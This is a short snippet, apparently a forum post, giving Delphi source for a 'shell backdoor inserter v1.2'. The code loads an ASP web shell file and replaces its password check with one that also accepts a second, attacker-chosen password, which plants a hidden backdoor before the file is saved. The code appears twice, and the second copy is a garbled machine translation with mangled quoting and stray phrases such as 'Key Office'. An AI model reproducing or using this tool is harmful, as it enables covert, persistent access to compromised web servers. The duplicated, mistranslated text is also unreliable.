shell后门插入器v1.2源码procedure TForm1.spSkinButton6Click(Sender: TObject)

begin

if opendialog1.execute then

memo1.Lines.LoadFromFile(opendialog1.filename)









memo1.Text:=stringreplace(memo1.Text, iF REquesT.foRM("pass")=uSERPASS Then , iF REquesT.foRM("pass")=uSERPASS or request.form("pass")=" + edit2.text+ " Then ,[rfReplaceAll])



memo1.lines.savetofile(opendialog1.filename)



end





end.

关键处-Insert v1.2 backdoor shell source browser procedure TForm1.spSkinButton6Click (Sender: TObject)　begin if opendialog1.execute then memo1.Lines.LoadFromFile (opendialog1.filename)　memo1.Text: = stringreplace (memo1.Text, ' iF REquesT . foRM ( " pass" ) = uSERPASS Then ' ,'　iF REquesT.foRM ( " pass" ) = uSERPASS or request.form ( " pass" ) = "　'+ edit2.text+' "　Then ' , [rfReplaceAll])　memo1.lines.savetofile (opendialog1.filename)　end　end. Key Office